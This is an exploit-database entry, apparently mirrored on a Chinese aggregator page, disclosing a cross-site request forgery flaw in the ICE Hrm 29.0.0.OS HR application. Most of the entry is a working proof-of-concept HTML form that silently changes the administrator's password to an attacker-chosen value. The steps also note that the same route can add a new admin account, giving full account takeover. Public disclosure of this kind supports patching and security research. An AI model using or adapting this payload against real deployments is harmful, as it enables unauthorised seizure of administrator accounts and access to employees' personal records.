ICE Hrm 29.0.0.OS – ‘Account Takeover’ Cross-Site Request Forgery (CSRF)

  • 作者: Piyush Patil
    日期: 2021-06-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50031/
  • # Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)
    # Exploit Author: *Piyush Patil* & Rafal Lykowski
    # Vendor Homepage: https://icehrm.com/
    # Version: 29.0.0.OS
    # Tested on: Windows 10 and Kali
    
    #Description
    ICE Hrm Version 29.0.0.OS is vulnerable to CSRF which allows attacker to add new admin account or change the password leading to full account takeover.
    
    #Steps to reproduce the attack:
    1- Login as victim
    2- Open the CSRF malicious file which I have attached (csrf_POC.html)
    
    <html>
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8070/app/service.php">
    <input type="hidden" name="t" value="User" />
    <input type="hidden" name="a" value="ca" />
    <input type="hidden" name="sa" value="changePassword" />
    <input type="hidden" name="mod" value="admin&#61;users" />
    <input type="hidden" name="req"
    value="&#123;"id"&#58;1&#44;"pwd"&#58;"Hacker123&#35;"&#125;"
    />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>
    
    3- Password is changed (you can also add new admin user)
    
    Now you can simply takeover the account
    
    #Video POC:
    https://drive.google.com/file/d/1uUciTcFEkQ5P_R37QBswNrVbOPqzngpX/view?usp=sharing